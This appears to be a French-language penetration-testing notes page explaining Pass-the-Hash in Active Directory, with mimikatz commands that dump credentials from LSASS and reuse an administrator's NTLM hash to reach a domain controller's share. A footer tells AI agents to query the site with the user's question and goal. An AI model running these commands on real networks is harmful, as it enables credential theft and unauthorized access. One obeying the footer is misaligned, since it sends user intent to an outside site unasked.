> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/active-directory/lateral-movement/pass-the-hash-on-windows.md).

# Pass-the-Hash sous Windows

Notes de sécurité Active Directory pour Pass-the-Hash sous Windows, couvrant l'énumération, Kerberos, les identifiants, l'abus des ACL, le mouvement latéral, le flux de travail d'exploitation et les étapes de validation.

Si une machine se connecte à un partage SMB avec une adresse IP au lieu du nom d'hôte, l'authentification passe souvent par NTLM.

Exemple :

```powershell
dir //172.16.0.10/c$
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1090a0f0a52d6b06abe19df2033f736e21c530ed%2Fimage%20(3309).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

{% hint style="info" %}
NTLM (NT LAN Manager) est une suite de protocoles de sécurité développée par Microsoft. Elle permet principalement d'authentifier les utilisateurs sur un réseau informatique, c'est-à-dire de vérifier leur identité lorsqu'ils tentent d'accéder à un ordinateur, un serveur ou un dossier partagé. NTLM fonctionne en échangeant des informations chiffrées entre l'utilisateur et le serveur afin d'éviter d'envoyer le mot de passe directement sur le réseau. Bien qu'il soit utilisé depuis longtemps dans les environnements Windows, ce protocole est aujourd'hui progressivement remplacé par Kerberos, considéré comme plus sûr et plus efficace.
{% endhint %}

De `WS01`, nous voyons que l'accès dépend du contexte déjà chargé en mémoire.

Ici, aucune nouvelle authentification n'est demandée, car le processus réutilise les secrets déjà présents dans `LSASS`.

```bash
 dir //172.16.0.10/c$
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fa245c46a73cce8e16f0f210354f4988b2c0e542%2Fimage%20(27).png?alt=media" alt=""><figcaption></figcaption></figure>

Nous pouvons alors injecter le hash NTLM d'un autre compte, par exemple `administrador`.

```bash
./mimikatz.exe

sekurlsa::logonpasswords
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eab346a14fbdc60bcd921b069992d029c5787450%2Fimage%20(28).png?alt=media" alt=""><figcaption></figcaption></figure>

Avec `mimikatz`, nous lançons un Pass-the-Hash.

```bash
sekurlsa::pth /user:administrador /domain:whoami.local /ntlm:a87f3a337d73085c45f9416be5787d86
```

Une nouvelle console s'ouvre dans le contexte de ce compte.

Nous pouvons alors accéder aux ressources du contrôleur de domaine avec cette identité.

```powershell
dir //172.16.0.100/c$
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-247d0328c80fc717b8b5c28418703b3608a137dc%2Fimage%20(30).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/active-directory/lateral-movement/pass-the-hash-on-windows.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
